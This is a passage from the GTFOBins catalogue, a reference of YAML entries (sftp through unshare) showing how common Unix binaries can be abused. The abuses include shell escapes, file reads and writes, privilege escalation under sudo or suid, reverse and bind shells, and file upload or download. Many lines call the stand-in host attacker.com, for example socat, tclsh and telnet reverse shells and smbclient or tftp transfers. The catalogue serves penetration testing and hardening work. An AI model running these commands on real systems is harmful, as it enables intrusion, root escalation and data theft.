    "content": "---\nfunctions:\n  download:\n  - code: |-\n      sftp user@attacker.com\n      get /path/to/input-file /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: ssh-server\n  shell:\n  - code: |-\n      sftp user@attacker.com\n      !/bin/sh\n    comment: |-\n      This still requires a successfull connection to the server.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  upload:\n  - code: |-\n      sftp user@attacker.com\n      put /path/to/input-file /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: ssh-server\n...\n"
  },
  {
    "path": "_gtfobins/sg",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      sg $(id -ng)\n    comment: |-\n      Commands can be run if the current user's group is specified, therefore no additional permissions are needed.\n    contexts:\n      sudo:\n        code: |-\n          sg root\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/shred",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      shred -u /path/to/output-file\n    comment: |-\n      This actually deletes the chosen file.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/shuf",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      shuf -z /path/to/input-file\n    comment: |-\n      The read file content is corrupted by randomizing the order of NUL terminated strings.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      shuf -e DATA -o /path/to/output-file\n    comment: |-\n      The written file content is corrupted by adding a newline.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/slsh",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      slsh -e 'system(\"/bin/sh\")'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/smbclient",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      smbclient '\\\\attacker.com\\share' -c 'get /path/to/input-file /path/to/output-file'\n    contexts:\n      sudo:\n      unprivileged:\n    sender:\n      code: |-\n        smbserver.py -smb2support share .\n      comment: |-\n        A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using [Impacket](https://github.com/SecureAuthCorp/impacket)).\n  shell:\n  - code: |-\n      smbclient '\\\\host\\share'\n      !/bin/sh\n    comment: |-\n      A valid SMB/CIFS server must be available.\n    contexts:\n      sudo:\n      unprivileged:\n  upload:\n  - code: |-\n      smbclient '\\\\attacker.com\\share' -c 'put /path/to/input-file /path/to/output-file'\n    contexts:\n      sudo:\n      unprivileged:\n    receiver:\n      code: |-\n        smbserver.py -smb2support share .\n      comment: |-\n        A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using [Impacket](https://github.com/SecureAuthCorp/impacket)).\n...\n"
  },
  {
    "path": "_gtfobins/snap",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      snap install xxxx_1.0_all.snap --dangerous --devmode\n    comment: |-\n      Generate the Snap package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n      ```\n      mkdir -p meta/hooks\n      echo -e '#!/bin/sh\\n/path/to/command; false' >meta/hooks/install\n      chmod +x meta/hooks/install\n      fpm -n xxxx -s dir -t snap -a all meta\n      ```\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/socat",
    "content": "---\nfunctions:\n  bind-shell:\n  - code: |-\n      socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane\n    connector: tcp-client-tty\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'\n        shell: false\n      unprivileged:\n  download:\n  - code: |-\n      socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: tcp-server\n  file-read:\n  - code: |-\n      socat -u file:/path/to/input-file -\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      socat -u 'exec:echo DATA' open:/path/to/output-file,creat\n    comment: |-\n      The `echo` command is actually used.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'\n        shell: false\n      unprivileged:\n    listener: tcp-server-tty\n  shell:\n  - code: |-\n      socat - exec:/bin/sh,pty,ctty,raw,echo=0\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'\n        shell: false\n      unprivileged:\n  upload:\n  - code: |-\n      socat -u file:/path/to/input-file tcp-connect:attacker.com:12345\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: tcp-server\n...\n"
  },
  {
    "path": "_gtfobins/socket",
    "content": "---\nfunctions:\n  bind-shell:\n  - code: |-\n      socket -svp '/bin/sh -i' 12345\n    connector: tcp-client\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      socket -qvp '/bin/sh -i' attacker.com 12345\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    listener: tcp-server\n...\n"
  },
  {
    "path": "_gtfobins/soelim",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      soelim /path/to/input-file\n    comment: |-\n      The content is actually parsed and corrupted by the command.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/softlimit",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      softlimit /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          softlimit /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/sort",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      sort -m /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      echo DATA | sort -m -o /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/split",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      split -b 999 --additional-suffix suffix /path/to/input-file prefix\n      cat prefixaasuffix\n    comment: |-\n      This copies the input file in the current working directory in a file named `prefixaasuffix`, just make sure to pick a value big enough, instead of `999`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      The `--additional-suffix` flag is only available in the GNU version.\n  file-write:\n  - code: |-\n      split -b 999 --additional-suffix suffix /path/to/input-file prefix\n    comment: |-\n      This copies the input file in the current working directory in a file named `prefixaasuffix`, just make sure to pick a value big enough, instead of `999`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      The `--additional-suffix` flag is only available in the GNU version.\n  shell:\n  - code: |-\n      split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/sqlite3",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      sqlite3 <<EOF\n      CREATE TABLE x(x TEXT);\n      .import /path/to/input-file x\n      SELECT * FROM x;\n      EOF\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      sqlite3 /dev/null -cmd '.output /path/to/output-file' 'select \"DATA\";'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      sqlite3 /dev/null '.shell /bin/sh'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/sqlmap",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      sqlmap -u 127.0.0.1 --eval='...'\n    comment: |-\n      This allows to run Python code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: python\n...\n"
  },
  {
    "path": "_gtfobins/ss",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      ss -a -F /path/to/input-file\n    comment: |-\n      The file content is actually parsed so only a part of the first line is returned as a part of an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ssh",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      ssh user@attacker.com 'cat /path/to/input-file\"\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: ssh-server\n  file-read:\n  - code: |-\n      ssh -F /path/to/input-file x\n    comment: |-\n      The read file content is corrupted by error prints.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      ssh localhost /bin/sh\n    comment: |-\n      Reconnecting may help bypassing restricted shells.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost\n    comment: |-\n      Spawn the shell on the client, but still requires a successful remote connection.\n    contexts:\n      sudo:\n      unprivileged:\n  upload:\n  - code: |-\n      echo DATA | ssh user@attacker.com 'cat >/path/to/output-file\"\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: ssh-server\n...\n"
  },
  {
    "path": "_gtfobins/ssh-agent",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ssh-agent /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          ssh-agent /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ssh-copy-id",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com\n    comment: |-\n      The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host\n    comment: |-\n      The input file must have the `.pub` file extension.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ssh-keygen",
    "content": "---\nfunctions:\n  library-load:\n  - code: |-\n      ssh-keygen -D /path/to/lib.so\n    comment: |-\n      The shared library must contain the `void C_GetFunctionList() {}` function.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ssh-keyscan",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      ssh-keyscan -f /path/to/input-file\n    comment: |-\n      The file content is actually parsed so only a part of each line is returned as a part of an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/sshfs",
    "content": "---\nfunctions:\n  command:\n  - blind: true\n    code: |-\n      sshfs -o ssh_command=/path/to/command x: /path/to/dir/\n    contexts:\n      sudo:\n      unprivileged:\n  download:\n  - code: |-\n      sshfs user@attacker.com:/ /path/to/dir/\n      cp /path/to/dir/path/to/input-file /path/to/output-file\n    contexts:\n      unprivileged:\n    sender: ssh-server\n  shell:\n  - code: |-\n      echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/\n    comment: |-\n      The mount dir must be writable by the invoking user.\n    contexts:\n      sudo:\n      unprivileged:\n  upload:\n  - code: |-\n      sshfs user@attacker.com:/ /path/to/dir/\n      cp /path/to/input-file /path/to/dir/\n    contexts:\n      unprivileged:\n    receiver: ssh-server\n...\n"
  },
  {
    "path": "_gtfobins/sshpass",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      sshpass /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          sshpass /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/sshuttle",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      sudo sshuttle -r x --ssh-cmd '/bin/sh -c \"/bin/sh 0<&2 1>&2\"' localhost\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/start-stop-daemon",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      start-stop-daemon -S -x /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          start-stop-daemon -S -x /bin/sh -- -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/stdbuf",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      stdbuf -i0 /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          stdbuf -i0 /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/strace",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      strace -s 999 -o /path/to/output-file strace - DATA\n    comment: |-\n      The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough instead of `999`. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`.\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      strace -o /dev/null /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          strace -o /dev/null /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/strings",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      strings /path/to/input-file\n    comment: |-\n      This only returns ASCII strings.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/su",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      su -c /bin/sh\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/sudo",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      sudo /bin/sh\n    contexts:\n      sudo:\n        comment: |-\n          The invocation is actually `sudo sudo ...`.\n...\n"
  },
  {
    "path": "_gtfobins/sysctl",
    "content": "---\nfunctions:\n  command:\n  - blind: true\n    code: |-\n      sysctl 'kernel.core_pattern=|/path/to/command'\n    comment: |-\n      The command is executed by `root` in the background when a core dump occurs.\n\n      To trigger a core dump, send the `SIGQUIT` signal to a process, for example:\n\n      ```\n      sleep infinity &\n      kill -QUIT $!\n      ```\n    contexts:\n      sudo:\n      suid:\n  file-read:\n  - binary: false\n    code: |-\n      sysctl -n \"/../../path/to/input-file\"\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      < 4\n...\n"
  },
  {
    "path": "_gtfobins/systemctl",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      systemctl\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n  shell:\n  - code: |-\n      echo '[Service]\n      Type=oneshot\n      ExecStart=/path/to/command\n      [Install]\n      WantedBy=multi-user.target' >/path/to/temp-file.service\n      systemctl link /path/to/temp-file.service\n      systemctl enable --now /path/to/temp-file.service\n    comment: |-\n      It might happen that the service is not started with `--now`, in such cases it might be necessary to manually start it.\n    contexts:\n      sudo:\n      suid:\n  - code: |-\n      echo /bin/sh >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      SYSTEMD_EDITOR=/path/to/temp-file systemctl edit basic.target\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/systemd-resolve",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      systemd-resolve --status\n    contexts:\n      sudo:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/systemd-run",
    "content": "---\nfunctions:\n  command:\n  - blind: true\n    code: |-\n      systemd-run /path/to/command\n    contexts:\n      sudo:\n  shell:\n  - code: |-\n      systemd-run -S\n    contexts:\n      sudo:\n  - code: |-\n      systemd-run -t /bin/sh\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/tac",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      tac -s 'RANDOM' /path/to/input-file\n    comment: |-\n      Make sure that `RANDOM` does not appear into the file to read otherwise the content of the file is corrupted by reversing the order of `RANDOM`-separated chunks.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tail",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      tail -c+0 /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tailscale",
    "content": "---\nfunctions:\n  upload:\n  - code: |-\n      tailscale serve --http=12345 /path/to/input-file\n    comment: |-\n      The URL is reachable by any host of the same Tailnet.\n    contexts:\n      sudo:\n    receiver:\n      code: |-\n        curl http://<hostname>.<tailnet>.ts.net:12345/ -o /path/to/output-file\n      comment: |-\n        An HTTP client can be used on the attacker box to receive the data.\n\n        The actual URL is returned by the command.\n...\n"
  },
  {
    "path": "_gtfobins/tar",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh\n    comment: |-\n      The attacker box must have the `rmt` utility installed.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: ssh-server\n    version: |-\n      GNU\n  file-read:\n  - code: |-\n      tar cf /dev/stdout /path/to/input-file -I 'tar xO'\n    comment: |-\n      The file is read then passed to the specified command (e.g., `tar xO`) via standard input.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      GNU\n  file-write:\n  - code: |-\n      echo DATA >/path/to/temp-file\n      tar cf /path/to/temp-file.tar /path/to/temp-file\n      tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@\n    comment: |-\n      The archive can also be prepared offline then uploaded to the target.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      GNU\n  shell:\n  - code: |-\n      tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      tar xf /dev/null -I '/bin/sh -c \"/bin/sh 0<&2 1>&2\"'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          tar xf /dev/null -I '/bin/sh -c \"/bin/sh 0<&2 1>&2\"'\n        shell: false\n      unprivileged:\n    version: |-\n      GNU\n  - code: |-\n      echo '/bin/sh 0<&1' >/path/to/temp-file\n      tar cf /path/to/temp-file.tar /path/to/temp-file\n      tar xf /path/to/temp-file.tar --to-command /bin/sh\n    comment: |-\n      The archive can also be prepared offline then uploaded to the target.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      GNU\n  upload:\n  - code: |-\n      tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh\n    comment: |-\n      The attacker box must have the `rmt` utility installed.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: ssh-server\n    version: |-\n      GNU\n...\n"
  },
  {
    "path": "_gtfobins/task",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      task execute /bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/taskset",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      taskset 1 /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tasksh",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      tasksh\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tbl",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      tbl /path/to/input-file\n    comment: |-\n      The read file content is corrupted by additional text at the beginning.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tclsh",
    "content": "---\nfunctions:\n  library-load:\n  - code: |-\n      tclsh\n      load /path/to/lib.so x\n    contexts:\n      capabilities:\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      tclsh\n      set s [socket attacker.com 12345];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      tclsh\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tcpdump",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      echo /path/to/command >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file\n    comment: |-\n      This requires some traffic to be actually captured. Also note that the subprocess is immediately sent to the background.\n    contexts:\n      sudo:\n        code: |-\n          echo /path/to/command\" >/path/to/temp-file\n          chmod +x /path/to/temp-file\n          tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file -Z root\n      unprivileged:\n    version: |-\n      In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the `postrotate-command` to a small subset of predefined commands thus preventing the execution of the following.\n  - code: |-\n      tcpdump -ln -i lo -w 'command-argument' -W 1 -G 1 -z /path/to/command\n    comment: |-\n      This require some traffic to be actually captured. Also note that the `command-argument` string is both passed to the command and written as file, hence some restrictions apply.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z user\n    comment: |-\n      This saves the packet dump (count is 1) from the loopback interface to a file. To trigger the capture use something like:\n\n      ```\n      nc -u localhost 1 <<<DATA\n      ```\n\n      While `user` is the owner of the packet dump file, the invoking user must be able to capture traffic on the device.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tcsh",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      tcsh -c 'echo DATA >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          tcsh -bc 'echo DATA >/path/to/output-file'\n      unprivileged:\n  shell:\n  - code: |-\n      tcsh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          tcsh -b\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tdbtool",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      tdbtool\n      ! /bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tee",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      echo DATA | tee /path/to/output-file\n    comment: |-\n      Use `-a` to append data to exising files.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/telnet",
    "content": "---\nfunctions:\n  reverse-shell:\n  - code: |-\n      mkfifo /path/to/temp-socket\n      telnet attacker.com 12345 </path/to/temp-socket | /bin/sh >/path/to/temp-socket\n    comment: |-\n      The shell process is not spawn by `openssl`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      telnet\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/terraform",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      terraform console\n      file(\"/path/to/input-file\")\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tex",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      tex --shell-escape '\\immediate\\write18{/bin/sh}'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tftp",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      tftp attacker.com\n      get /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender:\n      code: |-\n        atftpd --no-fork --verbose --daemon --no-fork --user root.root .\n      comment: |-\n        A TFTP server can be used on the attacker box to send the data.\n  upload:\n  - code: |-\n      tftp attacker.com\n      put /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver:\n      code: |-\n        atftpd --no-fork --verbose --daemon --no-fork --user root.root .\n      comment: |-\n        A TFTP server can be used on the attacker box to receive the data.\n...\n"
  },
  {
    "path": "_gtfobins/tic",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      tic -C /path/to/input-file\n    comment: |-\n      This translates a terminfo file from source format into compiled format. It will attempt to translate an arbitrary file and output the contents of the file on failure.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/time",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      time /bin/sh\n    comment: |-\n      Note that the shell might have its own builtin `time` implementation, which may behave differently than the binary, which is often located at `/usr/bin/time`.\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          time /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/timedatectl",
    "content": "---\ncomment: |-\n  This might not work if run by unprivileged users depending on the system configuration.\nfunctions:\n  inherit:\n  - code: |-\n      timedatectl list-timezones\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/timeout",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      timeout 0 /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          timeout 0 /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tmate",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      tmate -c /bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tmux",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      tmux -f /path/to/input-file\n    comment: |-\n      The file is read and parsed as a `tmux` configuration file, part of the first invalid line is returned in an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      tmux -c /bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      tmux -S /path/to/socket\n    comment: |-\n      Provided to have enough permissions to access the socket (e.g., `/tmp/tmux-xxx/default`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      < 3.3\n...\n"
  },
  {
    "path": "_gtfobins/top",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo -e 'pipe\\tx\\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc\n      top\n      # press return twice\n      reset\n    comment: |-\n      The config path might be different.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/torify",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      torify /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/torsocks",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      torsocks /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/troff",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      troff /path/to/input-file\n    comment: |-\n      The file is typeset but text is still readable in the output, alternatively the output can be read with `man -l`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tsc",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      tsc /path/to/input-file.ts\n    comment: |-\n      Content is leaked as error messages. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      tsc /path/to/input-file.ts --outFile /path/to/output-file\n    comment: |-\n      Content is leaked as error messages and written to file. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/tshark",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      echo '...' >/path/to/temp-file\n      tshark -Xlua_script:/path/to/temp-file\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: lua\n...\n"
  },
  {
    "path": "_gtfobins/ul",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      ul /path/to/input-file\n    comment: |-\n      The read file content is corrupted by replacing occurrences of `$'\\b_'` to terminal sequences and by converting tabs to spaces.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/unexpand",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      unexpand -t999 /path/to/input-file\n    comment: |-\n      Convert sequences of (e.g., `999`) spaces to tab.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/uniq",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      uniq /path/to/input-file\n    comment: |-\n      The read file content is corrupted by squashing multiple adjacent lines.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/unshare",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      unshare /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          unshare -r /bin/sh\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/unsquashfs",
